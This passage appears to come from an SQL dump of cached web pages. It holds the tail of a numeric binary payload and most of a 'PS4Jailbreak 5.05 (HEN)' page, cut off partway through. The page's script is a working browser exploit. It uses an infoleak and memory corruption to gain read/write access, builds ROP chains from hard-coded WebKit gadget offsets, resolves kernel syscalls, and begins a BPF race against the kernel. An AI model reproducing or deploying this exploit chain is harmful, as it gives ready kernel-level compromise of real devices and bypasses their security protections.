2370363273,1571605,898451456,4781,4294842344,1222609407,403576205,2370306048,1221429,4261603328,3750363135,420842824,1207959576,312030605,3991404544,2315255805,361580767,6172,2436205896,3892314130,4294966744,2370363273,1558293,898451456,4745,4294820840,1222609407,402265485,2370306048,1212213,4256098304,3750363135,1830128968,1207959575,310130061,2582118400,2315255805,361580767,6080,2033552712,3892314130,4294966660,2370363273,1532693,898451456,4725,4294799336,1222609407,387323277,2370306048,1208629,4250593280,3750363135,286625096,1207959575,309015949,1172832256,2315255805,361580767,5844,1698008392,3892314130,4294966576,2370363273,1509141,898451456,4701,4294777832,1222609407,383915405,2370306048,1201205,4245088256,3750363135,2635435336,1207959574,306918797,4058513408,2315255804,361580767,5904,1127583048,3892314130,4294966492,2370363273,1499925,898451456,4666,4294756328,3375449599,834679109,835858889,1032669430,4654,365303295,2370306048,1455893,898451456,4652,3347694473,4294744040,1222609407,379983245,2370306048,1188149,4236437504,3750363135,361580635,5664,422939976,3909091346,4294966380,149717832,350371211,2370306048,1506069,898451456,4621,4294725608,3376253951,1207959572,380769677,2370306048,1180981,4231456768,1032585215,5296,2299891016,1207959574,301675917,501743616,2348810236,1349437,361580544,5800,4080373064,3892314129,4294966276,343817611,2370306048,1470229,898451456,4585,4294700008,1698532351,1207959572,373691789,2370306048,1171509,4224903168,1032585215,5196,353733960,1207959574,299251085,3118989312,2348810235,1323837,361580544,5676,3459616072,3892314129,4294966176,337264011,2370306048,1432341,898451456,4553,4294674408,20810751,1207959572,371332493,2370306048,1165109,4218349568,1032585215,5096,3105197384,1207959573,297940365,1441267712,2348810235,1298237,361580544,5592,3224735048,3892314129,4294966076,330710411,2370306048,1423125,2370328576,1163061,4213369088,1163132927,826657073,835269056,1224094162,297549197,369033216,5152,3910503752,1207959573,297809293,3280535552,4058564489,2315255802,361580767,5992,2922745160,3892314129,4294965980,2370363273,1434389,898451456,4510,4294625256,1222609407,373167501,2370306048,1151029,4206028800,3750363135,3373632840,1207959574,293811597,2649227264,2315255802,361580767,5748,1999998280,3892314129,4294965896,2370363273,1396501,898451456,4457,4294603752,1222609407,368711053,2370306048,1137461,4200523776,3750363135,85298504,1207959573,290272653,1239941120,2315255802,361580767,5560,1060474184,3892314129,4294965812,2370363273,1401621,898451456,4402,4294582248,1222609407,364254605,2370306048,1123381,4195018752,3750363135,1628802376,1207959574,286733709,4125622272,2315255801,361580767,5628,154504520,3892314129,4294965728,2370363273,1394453,898451456,4347,4294560744,1222609407,367662477,2370306048,1109557,4189513728,3750363135,1964346696,1207959572,283194765,2716336128,2315255801,361580767,5424,3577056584,3892314128,4294965644,2370363273,1436437,898451456,4295,4294539240,1222609407,343283085,2370306048,1095989,4184008704,3750363135,2836761928,1207959572,279721357,1307049984,2315255801,361580767,5372,2654309704,3892314128,4294965560,2370363273,1371925,898451456,4241,4294517736,1222609407,338826637,2370306048,1080117,4178503680,3750363135,1159040328,1207959573,275592589,4192731136,2315255800,361580767,5440,1614122312,3892314128,4294965476,2370363273,1327893,898451456,4176,4294496232,1222609407,327554445,2370306048,1065781,4172998656,3750363135,3507850568,1207959571,272053645,2783444992,2315255800,361580767,5196,758484296,3892314128,4294965392,2370363273,1314581,898451456,4127,4294474728,1222609407,341972365,2370306048,1052725,4167493632,3750363135,3038088520,1207959571,268187021,1374158848,2315255800,361580767,4864,3962932552,3892314127,4294965308,2370363273,1311509,898451456,4063,4294453224,1222609407,323884429,2370306048,1033269,4161988608,3750363135,957713736,1207959572,263665037,4259840000,2315255799,361580767,5108,2603978056,3892314127,4294965224,2370363273,1324821,898451456,3989,4294431720,1222609407,333583757,2370306048,1017653,4156483584,3750363135,2366999880,1207959571,259732877,2850553856,2315255799,361580767,5080,1882557768,3892314127,4294965140,2370363273,1233685,898451456,3943,4294410216,1222609407,327030157,2370306048,1005877,4150978560,3750363135,1628802376,1207959570,256652685,1441267712,2315255799,361580767,4668,1060474184,3892314127,4294965056,2370363273,1290005,898451456,3892,4294388712,1222609407,301602189,2370306048,993077,4145473536,3750363135,3977612616,1207959569,253375885,31981568,2315255799,361580767,4968,255167816,3892314127,4294964972,2370363273,1196821,898451456,3843,4294367208,1222609407,298194317,2370306048,980021,4139968512,3750363135,2165673288,1207959570,250295693,2917662720,2315255798,361580767,4684,3694497096,3892314126,4294964888,2370363273,1234709,898451456,3789,4294345704,1222609407,297407885,2370306048,966453,4134463488,3750363135,1293258056,1207959570,246429069,1508376576,2315255798,361580767,4680,2704641352,3892314126,4294964804,1213980553,291640717,2370306048,954933,4130269440,826867711,3397994944,24249615,1032014019,3859,1343779840,252319231,2304311296,3234285576,4294967295,4290955080,3288334335,0,0,0,0,0,0,168456997,168430090,808583178,1867391024,1701867296,1769234802,991981167,658729,540095283,1919251285,1701667182,743132960,1701146144,1634738276,1870099315,1646290034,779318064,838863373,1428172851,544367987,1734831980,1763730533,168632686,825373184,1869563680,1702453860,1852142368,543777136,220735290,825360394,1314201653,1411405897,979726457,221793312,1413873674,1597264720,1701407843,627012718,1633967977,1935630708,1701536623,842137716,1850023991,1769104756,1344300910,1769173857,1293968758,543515759,1751655720,1747266677,623670632,745891944,1969776677,1751655724,1747266677,220820840,808779786,2035490864,2019652718,1920099616,539783791,1835888483,543452769,1701998197,1852272483,1684372073,658734,1969776677,1751655724,1747266677,623670632,745891944,1969776677,1751655724,1680146549,778315054,623797285,808583268,1330651184,1663063122,1634561391,1931502702,1701012341,1969648499,168632684,926233088,1931813408,1936269346,1701344288,1920295712,1953391986,1919509536,1869898597,221149554,1663369226,7546144,540028978,2036427599,889195021,1159738416,1919906418,1633820730,1634738276,1701667186,1936876916,658751,1583032869,622877984,892534884,1699881008,1768781171,1629513582,1680154740,838863373,1697460529,1852142712,1852795251,658803,1414743378,1381258016,223166789,825360394,1852121137,658788,540029490,1397773382,1699946548,1919252082,1634038304,221149540,808779786,1867718706,746156658,1836016416,1684955501,1953459744,1886218528,1701668204,1684370542,674897966,1174407693,877875284,1919251295,1601332598,1801678707,1174417152,877875284,1768711007,1601465957,1952409893,1634038376,892665956,1866670128,543452277,544501614,1869376609,1702125923,1835363616,779711087,822086157,1327509557,1768842608,1226860398,1701273965,1685024032,1633951845,1948279156,1936613746,779248998,838863373,1411397170,1936613746,544367974,1886220131,1702126956,168636004,808793344,1818838560,1869488229,1868963956,778333813,838863373,1126182960,1634561391,1864393838,779706731,620759565,168648283,771775753,1931804718,620786469,1931816819,808793344,1986939168,1684630625,1919509536,1869898597,221149554,892469258,1699881008,1936029041,543450484,1701603686,1952669984,544108393,2036427631,1868767276,1701605485,778331508,889195021,1159737397,1919906418,1852142112,1852403041,1752440935,1768300645,221144428,842137610,1699881014,1701667182,1836016416,1952803952,221144165,1966014474,796026227,1886217588,1818587950,842137702,1766203446,1679844716,1952803941,221144165,892665866,1866670128,543452277,544501614,1701602660,1948280180,1713399144,778398825,889195021,1411395637,1713399144,543517801,1936027492,544483182,1936291941,168636020,858862080,1819026720,658788,540422706,1701996868,1919906915,1919099001,1702125925,168636004,808793344,1970225952,1847616620,1663071343,1952540018,1752440933,1768169573,1952671090,779711087,838863373,1142961714,1667592809,2037542772,1818584096,1684370533,658734,540030261,1701996868,1919906915,1936269433,1953459744,1886217504,221149556,892665866,1866670128,543452277,544501614,1701602660,1948280180,1679844712,1667592809,2037542772,658734,540030257,1852141647,543649385,1229148993,1869422665,1679844708,543257697,1851880052,1919247987,1919903264,1397312544,168635988,842016000,807746148,620782642,6566960,1663394597,1663394597,1663394597,1663394597,1663394597,1881157920,1881158771,622867571,544566380,622883621,622879794,1931812979,620759565,627254627,627254627,627254627,627254627,543368547,1936728113,1936728116,1814372404,622884204,841293939,1931812964,544417056,622870061,658803,540422706,1851880020,1919247987,1836016416,1952803952,168636005,808792832,1847609632,543450469,543516788,1953719652,1952542313,544108393,1701667182,1932550688,168636019,1347700224,1667183699,1852139884,1768710004,1834972275,2019914869,1330597376,1398079568,1342198341,5460801,1414092113,1398362880,1095762004,1342199379,5526095,1414744396,1146572800,1146569472,1348031488,1145241669,1375752277,5395525,1380930643,1279607808,1297219653,1263337540,1313996868,1375752774,5198926,1163544915,1397051904,1162215508,1090540609,4542544,1397773382,1702059828,1919252082,1919448159,6578533,0,0,0,0,7233866,6448454,7496013,7499841,7954765,7238986,7107914,6780225,7365971,7627599,7761742,6513988,540028978,1953851475,1735289204,2003788832,774778478,1694501389,1952540280,1711305574,1887007859,1936064613,1752457584,1869768192,1702428781,1634467955,6645618,1952543859,1946182505,2053467497,6647407,1853453153,1734934627,1701998446,7103329,3223861,1836214628,7041889,1701998639,1953721961,1701064448,1633955702,774928432,1887007331,1882128500,1852401010,3306611,1986356271,811689007,1663971704,1953528178,2037591808,1835365491,1701064448,1633955702,775190576,1887007331,1932460148,1702130553,2019909485,1701064448,1633955702,775256112,1887007331,808583284,1867325488,544501365,1667462515,779318117,889195021,1126182965,1684829551,1953459744,1970236704,220296302,1700200458,1836016492,1869881445,1347700256,1981822035,3354161,1650552405,1948280172,1701257327,1346969716,1684300064,1936942450,1430803200,1464812628,1414332494,1342199634,1814049875,1702130537,1735289198,175009568,622874697,1867522163,622883954,2034368617,1811947877,1701536361,1818586738,1919972142,1768685688,1919249250,1600939374,778200439,2020765811,1651076096,1852990827,1935633509,1932424057,7893616,1953718111,1600873313,1600874595,1918989671,1600061540,1667331187,1751342955,1634099051,1593863273,1920099679,1929409135,1699439971,1818586738,1869771333,1668481138,1919241061,1282172270,1399087471,1953653108,1969516365,1929405804,1699439971,1818586738,1869376577,1702125923,1701996868,1699574883,2037542765,1701016320,1852990795,1632463973,1919501424,1299473253,1919905125,1668481145,1919241061,1399612782,7627124,1264935795,1701737061,1701859180,1668481134,1919241061,1382835566,6578533,1264935795,1701737061,1702055020,1929407333,1699439971,1818586738,1936682051,1668481125,1919241061,1399612782,1885693292,1701016320,1852990795,1934978149,1885693292,1701016320,1852990795,1699179621,1835627636,1684434789,1929410913,1699439971,1818586738,1349805383,1701015410,1767142259,1929405805,1699439971,1818586738,1131701575,1701999221,1883468910,2037579893,1819566963,1937339136,1651274851,1835101817,2037579877,1668440435,2019885160,1702257509,1752461312,1684104562,1818587999,1953497190,1634038376,1702059876,1717985652,1953066601,1886281593,1701016320,1852990795,1917021285,1702125925,1702195525,1929405813,1699439971,1818586738,1701602628,1900373364,1702192501,1701016320,1852990795,1682009189,1702057316,1702249842,1929409646,1699439971,1818586738,1382310977,1164206437,1953391990,1952802560,6580597,1735681383,1728078953,1768977509,1702035556,1684632948,1952805632,6580583,1920230771,1684632933,1952805632,1768383858,1932460132,1702130553,1868771181,1852796269,1651076143,1651076143,1399153491,1951757177,1932422249,7893616,1399153523,1951757177,1699966057,2035508334,1835365491,1769238350,1633904998,1852795252,1752459607,1954047316,1651076096,1315267411,1932424293,7893616,1315267443,1867740261,1952803683,1701016320,1400137038,1701536623,1869366132,1929405811,1699636579,1852785524,1952671086,1701016320,1400137038,6581861,1315267443,1765962853,1929405550,1699636579,1936280692,7234932,1315267443,1665234021,1953523043,1701016320,1383359822,7758693,1315267443,1867740261,1952803683,1919902273,1668481140,1952796261,1937007943,1852531567,6647137,1315267443,1699181669,1668248436,1953525611,1701016320,1400137038,1869837413,1886350179,1668481140,1952796261,1952804425,1886352462,1701016320,1232364878,1349805422,7237492,1315267443,1950905445,1819045487,1701016320,1215587662,1819176820,1701016320,1215587662,1936617332,1701016320,1316250958,1818783604,1668481132,1952796261,1752134734,1668481132,1952796261,1752134734,1768685683,1701008226,1131701582,1932422260,7893616,1315267443,1950577765,1768835436,1668481140,1952796261,1416393795,7172709,1315267443,1950577765,1952794476,1868983881,1701016320,1919448144,1130652005,1952540018,1668481125,1752453221,1684104562,1953069125,1701016320,1919448144,1147429221,1667331173,1668481128,1752453221,1684104562,1852403530,1701016320,1919448144,1499750757,1684825449,1701016320,1919448144,1399087461,6712421,1348821875,1701996660,1631806561,1818583918,1701016320,1919448144,1298424165,2019914869,1953066569,1701016320,1919448144,1298424165,2019914869,1953719620,7958386,1348821875,1701996660,1968006241,1282958708,7037807,1348821875,1701996660,1968006241,1417176436,1869379954,1929407331,1951425891,1634038376,1953844580,1767143525,1818518893,7037807,1348821875,1701996660,1968006241,1433953652,1668246638,1768685675,1701008226,1667393868,1702129225,1818324594,1919972142,1634533496,1668246636,1701996032,1633878117,1668246636,1634038272,1668246636,1835363584,1734962273,1701642350,1952805741,1835363584,7958627,1668113773,1929408621,1885565556,1953693817,1885564530,1953693817,1952539506,1920234240,1952539502,1920234240,7234924,1668445299,1929408621,1668182644,1929408621,1852404336,1929406068,1769107566,6714478,1633907571,1929406062,1751347828,1953693810,1751347826,1953693810,1920234354,1920234240,7370084,1684957554,1761638501,1734960243,1627419753,6909812,1819440243,7958627,1701999731,1919906418,1699176192,1952673908,6647929,1869894495,1644194933,2037411683,1634890496,1627415662,1769235315,1627415917,1769235315,1918854509,1953326848,6647145,1769237863,1935631725,1668246528,1769237601,1811965293,1818321775,1701669236,1828745823,1835627627,1886322789,1768189541,1701970034,1768186977,1701970034,1768186977,7495538,1819043188,7498084,1801807219,7498084,1769432434,1768186990,1818427506,1684370287,1677750889,1684435561,1952802560,1735357040,1701667182,1886348800,1711304293,1684104562,1920427520,6648937,1701147494,1952841835,7105637,1869374310,1711302003,1852404336,26228];for(var i=0;i<payload.length;i++){payloadbuf.backing[i]=payload[i];};p.syscall(74,payloadbuf,65536,7);p.syscall(324,1);p.fcall(createThread,payloadbuf,0,p.sptr("payload"));done();}</script></body></html>',NULL);
INSERT INTO `CacheResourceData` VALUES (9,'<!DOCTYPE html><html><head><title>PS4Jailbreak 5.05 (HEN)</title><meta name=viewport content="width=device-width, initial-scale=1"><style>.loader{position:absolute;left:50%;top:50%;margin:-75px 0 0 -75px;border:10px solid #f3f3f3;border-radius:50%;border-top:10px solid #044595;border-left:10px solid #044595;width:120px;height:120px;-webkit-animation:spin 1s linear infinite}.info{overflow:hidden;position:fixed;position:absolute;top:50%;left:50%;font-size:45px;font-family:sans-serif;transform:translate(-50%,-50%)}.credits{overflow:hidden;position:fixed;position:absolute;top:90%;left:50%;font-size:16px;font-family:sans-serif;text-align:center;transform:translate(-50%,-90%)}@-webkit-keyframes spin{0%{-webkit-transform:rotate(0deg)}100%{-webkit-transform:rotate(360deg)}}</style></head><body style=margin:0><div id=loader class=loader></div><div id=done class=info style=display:none>Done.</div><div id=fail class=info style=display:none>Fail!</div><div id=footer class=credits><ul style=list-style:none;padding-left:0><li><a href=#>qwertyoruiopz</a></li><li><a href=#>flatz</a></li><li><a href=#>specter</a></li><li><a href=#>xvortex</a></li><li>anonymous contributors</li></ul></div><script>var p;var s={};var g={};var gc={"pop_r8":96709,"pop_r9":12268047,"pop_rax":17397,"pop_rcx":339545,"pop_rdx":1826852,"pop_rsi":586634,"pop_rdi":232890,"pop_rsp":124551,"jmp_rax":130,"jmp_rdi":2711166,"mov_rdx_rax":3488561,"mov_rdi_rax":22692143,"mov_rax_rdx":1896224,"mov_rbp_rsp":985418,"mov__rdi__rax":3857131,"mov__rdi__rsi":146114,"mov__rax__rsi":2451047,"mov_rax__rax__":444474,"mov_rax__rdi__":290553,"add_rax_rsi":1384646,"and_rax_rsi":22481823,"add_rdi_rax":5593055,"jop":800720,"ret":60,"stack_chk_fail":200,"setjmp":5368};window.onload=function(){setTimeout(exploit,3000);};window.onerror=function(e){document.getElementById("loader").style.display="none";document.getElementById("fail").style.display="block";if(e.startsWith("Error:")==true){alert(e);}else{location.reload();};};function done(){document.getElementById("loader").style.display="none";document.getElementById("done").style.display="block";};var rop=function(){this.stack=new Uint32Array(65536);this.stackBase=p.read8(p.leakval(this.stack).add32(16));this.count=0;this.clear=function(){this.count=0;this.runtime=undefined;for(var i=0;i<4080/2;i++){p.write8(this.stackBase.add32(i*8),0);};};this.pushSymbolic=function(){this.count++;return this.count-1;};this.finalizeSymbolic=function(idx,val){p.write8(this.stackBase.add32(idx*8),val);};this.push=function(val){this.finalizeSymbolic(this.pushSymbolic(),val);};this.push_write8=function(where,what){this.push(g.pop_rdi);this.push(where);this.push(g.pop_rsi);this.push(what);this.push(g.mov__rdi__rsi);};this.fcall=function(rip,rdi,rsi,rdx,rcx,r8,r9){if(rdi!=undefined){this.push(g.pop_rdi);this.push(rdi);};if(rsi!=undefined){this.push(g.pop_rsi);this.push(rsi);};if(rdx!=undefined){this.push(g.pop_rdx);this.push(rdx);};if(rcx!=undefined){this.push(g.pop_rcx);this.push(rcx);};if(r8!=undefined){this.push(g.pop_r8);this.push(r8);};if(r9!=undefined){this.push(g.pop_r9);this.push(r9);};this.push(rip);return this;};this.run=function(){var retv=p.loadchain(this,this.notimes);this.clear();return retv;};return this;};function makeid(){var text="";var possible="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";for(var i=0;i<8;i++){text+=possible.charAt(Math.floor(Math.random()*possible.length));};return text;};var instancespr=[];for(var i=0;i<4096;i++){instancespr[i]=new Uint32Array(1);instancespr[i][makeid()]=50057;};var _dview;function u2d(low,hi){if(!_dview)_dview=new DataView(new ArrayBuffer(16));_dview.setUint32(0,hi);_dview.setUint32(4,low);return _dview.getFloat64(0);};function zeroFill(number,width){width-=number.toString().length;if(width>0){return new Array(width+(/\./.test(number)?2:1)).join("0")+number;};return number+"";};function int64(low,hi){this.low=(low>>>0);this.hi=(hi>>>0);this.add32=function(val){var new_lo=(((this.low>>>0)+val)&4294967295)>>>0;var new_hi=(this.hi>>>0);if(new_lo<this.low){new_hi++;};return new int64(new_lo,new_hi);};this.add32inplace=function(val){var new_lo=(((this.low>>>0)+val)&4294967295)>>>0;var new_hi=(this.hi>>>0);if(new_lo<this.low){new_hi++;};this.hi=new_hi;this.low=new_lo;};this.sub32=function(val){var new_lo=(((this.low>>>0)-val)&4294967295)>>>0;var new_hi=(this.hi>>>0);if(new_lo>(this.low)&4294967295){new_hi--;};return new int64(new_lo,new_hi);};this.sub32inplace=function(val){var new_lo=(((this.low>>>0)-val)&4294967295)>>>0;var new_hi=(this.hi>>>0);if(new_lo>(this.low)&4294967295){new_hi--;};this.hi=new_hi;this.low=new_lo;};this.toString=function(val){val=16;var lo_str=(this.low>>>0).toString(val);var hi_str=(this.hi>>>0).toString(val);if(this.hi==0)return lo_str;else{lo_str=zeroFill(lo_str,8);};return hi_str+lo_str;};return this;};var nogc=[];var tgt={a:0,b:0,c:0,d:0};var y=new ImageData(1,16384);postMessage("","*",[y.data.buffer]);var props={};for(var i=0;i<16384/2;){props[i++]={value:1111638594};props[i++]={value:tgt};};var foundLeak=undefined;var foundIndex=0;var maxCount=256;while(foundLeak==undefined&&maxCount>0){maxCount--;history.pushState(y,"");Object.defineProperties({},props);var leak=new Uint32Array(history.state.data.buffer);for(var i=0;i<leak.length-6;i++){if(leak[i]==1111638594&&leak[i+1]==4294901760&&leak[i+2]==0&&leak[i+3]==0&&leak[i+4]==0&&leak[i+5]==0&&leak[i+6]==14&&leak[i+7]==0&&leak[i+10]==0&&leak[i+11]==0&&leak[i+12]==0&&leak[i+13]==0&&leak[i+14]==14&&leak[i+15]==0){foundIndex=i;foundLeak=leak;break;};};};if(!foundLeak){throw new Error("infoleak fail");};Array.prototype.__defineGetter__(100,()=>1);var firstLeak=Array.prototype.slice.call(foundLeak,foundIndex,foundIndex+64);var leakJSVal=new int64(firstLeak[8],firstLeak[9]);var f=document.body.appendChild(document.createElement("iframe"));var a=new f.contentWindow.Array(13.37,13.37);var b=new f.contentWindow.Array(u2d(leakJSVal.low+16,leakJSVal.hi),13.37);var master=new Uint32Array(4096);var slave=new Uint32Array(4096);var leakval_u32=new Uint32Array(4096);var leakval_helper=[slave,2,3,4,5,6,7,8,9,10];tgt.a=u2d(2048,23077632);tgt.b=0;tgt.c=leakval_helper;tgt.d=4919;var c=Array.prototype.concat.call(a,b);document.body.removeChild(f);var hax=c[0];c[0]=0;tgt.c=c;hax[2]=0;hax[3]=0;Object.defineProperty(Array.prototype,100,{get:undefined});tgt.c=leakval_helper;var butterfly=new int64(hax[2],hax[3]);butterfly.low+=16;tgt.c=leakval_u32;var lkv_u32_old=new int64(hax[4],hax[5]);hax[4]=butterfly.low;hax[5]=butterfly.hi;tgt.c=master;hax[4]=leakval_u32[0];hax[5]=leakval_u32[1];var a2sb=new int64(master[4],master[5]);tgt.c=leakval_u32;hax[4]=lkv_u32_old.low;hax[5]=lkv_u32_old.hi;tgt.c=0;hax=0;var p={write8:function(addr,val){master[4]=addr.low;master[5]=addr.hi;if(val instanceof int64){slave[0]=val.low;slave[1]=val.hi;}else{slave[0]=val;slave[1]=0;};master[4]=a2sb.low;master[5]=a2sb.hi;},write4:function(addr,val){master[4]=addr.low;master[5]=addr.hi;slave[0]=val;master[4]=a2sb.low;master[5]=a2sb.hi;},read8:function(addr){master[4]=addr.low;master[5]=addr.hi;var rtv=new int64(slave[0],slave[1]);master[4]=a2sb.low;master[5]=a2sb.hi;return rtv;},read4:function(addr){master[4]=addr.low;master[5]=addr.hi;var rtv=slave[0];master[4]=a2sb.low;master[5]=a2sb.hi;return rtv;},leakval:function(jsval){leakval_helper[0]=jsval;var rtv=this.read8(butterfly);this.write8(butterfly,new int64(1094795585,4294901760));return rtv;}};var get_jmptgt=function(addr){var z=p.read4(addr)&65535;var y=p.read4(addr.add32(2));if(z!=9727)return 0;return addr.add32(y+6);};var exploit=function(){p.leakfunc=function(func){var fptr_store=p.leakval(func);return(p.read8(fptr_store.add32(24))).add32(64);};var parseFloatStore=p.leakfunc(parseFloat);var webKitBase=p.read8(parseFloatStore);webKitBase.low&=4294963200;webKitBase.sub32inplace(5881856-147456);var o2wk=function(o){return webKitBase.add32(o);};for(var gn in gc){if(gc.hasOwnProperty(gn)){g[gn]=o2wk(gc[gn]);};};var libKernelBase=p.read8(get_jmptgt(g.stack_chk_fail));libKernelBase.low&=4294963200;libKernelBase.sub32inplace(53248+16384);var wkview=new Uint8Array(4096);var wkstr=p.leakval(wkview).add32(16);p.write8(wkstr,webKitBase);p.write4(wkstr.add32(8),57131008);var hold1;var hold2;var holdz;var holdz1;while(1){hold1={a:0,b:0,c:0,d:0};hold2={a:0,b:0,c:0,d:0};holdz1=p.leakval(hold2);holdz=p.leakval(hold1);if(holdz.low-48==holdz1.low)break;};var pushframe=[];pushframe.length=128;var funcbuf;var funcbuf32=new Uint32Array(256);nogc.push(funcbuf32);var launch_chain=function(chain){var stackPointer=0;var stackCookie=0;var orig_reenter_rip=0;var reenter_help={length:{valueOf:function(){orig_reenter_rip=p.read8(stackPointer);stackCookie=p.read8(stackPointer.add32(8));var returnToFrame=stackPointer;var ocnt=chain.count;chain.push_write8(stackPointer,orig_reenter_rip);chain.push_write8(stackPointer.add32(8),stackCookie);if(chain.runtime)returnToFrame=chain.runtime(stackPointer);chain.push(g.pop_rsp);chain.push(returnToFrame);chain.count=ocnt;p.write8(stackPointer,(g.pop_rsp));p.write8(stackPointer.add32(8),chain.stackBase);}}};funcbuf=p.read8(p.leakval(funcbuf32).add32(16));p.write8(funcbuf.add32(48),g.setjmp);p.write8(funcbuf.add32(128),g.jop);p.write8(funcbuf,funcbuf);p.write8(parseFloatStore,g.jop);var orig_hold=p.read8(holdz1);var orig_hold48=p.read8(holdz1.add32(72));p.write8(holdz1,funcbuf.add32(80));p.write8(holdz1.add32(72),funcbuf);parseFloat(hold2,hold2,hold2,hold2,hold2,hold2);p.write8(holdz1,orig_hold);p.write8(holdz1.add32(72),orig_hold48);stackPointer=p.read8(funcbuf.add32(16));rtv=Array.prototype.splice.apply(reenter_help);return p.leakval(rtv);};p.loadchain=launch_chain;var kview=new Uint8Array(4096);var kstr=p.leakval(kview).add32(16);p.write8(kstr,libKernelBase);p.write4(kstr.add32(8),262144);var countbytes;for(var i=0;i<262144;i++){if(kview[i]==114&&kview[i+1]==100&&kview[i+2]==108&&kview[i+3]==111&&kview[i+4]==99){countbytes=i;break;};};p.write4(kstr.add32(8),countbytes+32);var dview32=new Uint32Array(1);var dview8=new Uint8Array(dview32.buffer);for(var i=0;i<countbytes;i++){if(kview[i]==72&&kview[i+1]==199&&kview[i+2]==192&&kview[i+7]==73&&kview[i+8]==137&&kview[i+9]==202&&kview[i+10]==15&&kview[i+11]==5){dview8[0]=kview[i+3];dview8[1]=kview[i+4];dview8[2]=kview[i+5];dview8[3]=kview[i+6];var syscallno=dview32[0];s[syscallno]=libKernelBase.add32(i);};};var chain=new rop();var returnvalue;p.fcall_=function(rip,rdi,rsi,rdx,rcx,r8,r9){chain.clear();chain.notimes=this.next_notime;this.next_notime=1;chain.fcall(rip,rdi,rsi,rdx,rcx,r8,r9);chain.push(g.pop_rdi);chain.push(chain.stackBase.add32(16376));chain.push(g.mov__rdi__rax);chain.push(g.pop_rax);chain.push(p.leakval(1094795842));if(chain.run().low!=1094795842){throw new Error("unexpected rop behaviour");};returnvalue=p.read8(chain.stackBase.add32(16376));};p.fcall=function(){p.fcall_.apply(this,arguments);return returnvalue;};p.readstr=function(addr){var addr_=addr.add32(0);var rd=p.read4(addr_);var buf="";while(rd&255){buf+=String.fromCharCode(rd&255);addr_.add32inplace(1);rd=p.read4(addr_);};return buf;};p.syscall=function(sysc,rdi,rsi,rdx,rcx,r8,r9){if(typeof sysc!="number"){throw new Error("invalid syscall");};var off=s[sysc];if(off==undefined){throw new Error("invalid syscall");};return p.fcall(off,rdi,rsi,rdx,rcx,r8,r9);};p.sptr=function(str){var bufView=new Uint8Array(str.length+1);for(var i=0;i<str.length;i++){bufView[i]=str.charCodeAt(i)&255;};nogc.push(bufView);return p.read8(p.leakval(bufView).add32(16));};p.malloc=function(sz){var backing=new Uint8Array(65536+sz);nogc.push(backing);var ptr=p.read8(p.leakval(backing).add32(16));ptr.backing=backing;return ptr;};p.malloc32=function(sz){var backing=new Uint8Array(65536+sz*4);nogc.push(backing);var ptr=p.read8(p.leakval(backing).add32(16));ptr.backing=new Uint32Array(backing.buffer);return ptr;};var test=p.syscall(23,0);if(test!="0"){var fd=p.syscall(5,p.sptr("/dev/bpf0"),2).low;var fd1=p.syscall(5,p.sptr("/dev/bpf0"),2).low;if(fd==(-1>>>0)){throw new Error("open bpf fail");};var bpf_valid=p.malloc32(16384);var bpf_spray=p.malloc32(16384);var bpf_valid_u32=bpf_valid.backing;var bpf_valid_prog=p.malloc(64);p.write8(bpf_valid_prog,2048/8);p.write8(bpf_valid_prog.add32(8),bpf_valid);var bpf_spray_prog=p.malloc(64);p.write8(bpf_spray_prog,2048/8);p.write8(bpf_spray_prog.add32(8),bpf_spray);for(var i=0;i<1024;){bpf_valid_u32[i++]=6;bpf_valid_u32[i++]=0;};var rtv=p.syscall(54,fd,2148549243,bpf_valid_prog);if(rtv.low!=0){throw new Error("ioctl bpf fail");};var spawnthread=function(name,chain){var longjmp=webKitBase.add32(5352);var createThread=webKitBase.add32(7836560);var contextp=p.malloc32(8192);var contextz=contextp.backing;contextz[0]=1337;var thread2=new rop();thread2.push(g.ret);thread2.push(g.ret);thread2.push(g.ret);thread2.push(g.ret);chain(thread2);p.write8(contextp,g.ret);p.write8(contextp.add32(16),thread2.stackBase);p.syscall(324,1);var retv=function(){p.fcall(createThread,longjmp,contextp,p.sptr(name));};nogc.push(contextp);nogc.push(thread2);return retv;};var interrupt1,loop1;var sock=p.syscall(97,2,2);var kscratch=p.malloc32(4096);var start1=spawnthread("GottaGoFast",function(thread2){interrupt1=thread2.stackBase;thread2.push(g.ret);thread2.push(g.ret);thread2.push(g.ret);thread2.push(g.pop_rdi);thread2.push(fd);thread2.push(g.pop_rsi);thread2.push(2148549243);thread2.push(g.pop_rdx);thread2.push(bpf_valid_prog);thread2.push(g.pop_rsp);thread2.push(thread2.stackBase.add32(2048));thread2.count=256;var cntr=thread2.count;thread2.push(s[54]);thread2.push_write8(thread2.stackBase.add32(cntr*8),s[54]);thread2.push(g.pop_rdi);var wherep=thread2.pushSymbolic();thread2.push(g.pop_rsi);var whatp=thread2.pushSymbolic();thread2.push(g.mov__rdi__rsi);thread2.push(g.pop_rsp);loop1=thread2.stackBase.add32(thread2.count*8);thread2.push(1094795585);thread2.finalizeSymbolic(wherep,loop1);thread2.finalizeSymbolic(whatp,loop1.sub32(8));});var krop=new rop();var race=new rop();var ctxp=p.malloc32(8192);var ctxp1=p.malloc32(8192);var ctxp2=p.malloc32(8192);p.write8(bpf_spray.add32(16),ctxp);p.write8(ctxp.add32(80),0);p.write8(ctxp.add32(104),ctxp1);var stackshift_from_retaddr=0;p.write8(ctxp1.add32(16),o2wk(19536333));stackshift_from_retaddr+=8+88;p.write8(ctxp.add32(0),ctxp2);p.write8(ctxp.add32(16),ctxp2.add32(8));p.write8(ctxp2.add32(2000),o2wk(7271653));var iterbase=ctxp2;for(var i=0;i<15;i++){p.write8(iterbase,o2wk(19536333));stackshift_from_retaddr+=8+88;p.write8(iterbase.add32(2000+32),o2wk(7271653));p.write8(iterbase.add32(8),iterbase.add32(32));p.write8(iterbase.add32(24),iterbase.add32(32+8));iterbase=iterbase.add32(32);};var raxbase=iterbase;var rdibase=iterbase.add32(8);var memcpy=get_jmptgt(webKitBase.add32(248));memcpy=p.read8(memcpy);p.write8(raxbase,o2wk(22848539));stackshift_from_retaddr+=8;p.write8(rdibase.add32(112),o2wk(19417140));stackshift_from_retaddr+=8;p.write8(rdibase.add32(24),rdibase);p.write8(rdibase.add32(8),krop.stackBase);p.write8(raxbase.add32(48),g.mov_rbp_rsp);p.write8(rdibase,raxbase);p.write8(raxbase.add32(1056),o2wk(2566497));p.write8(raxbase.add32(64),memcpy.add32(194-144));var topofchain=stackshift_from_retaddr+40;p.write8(rdibase.add32(176),topofchain);for(var 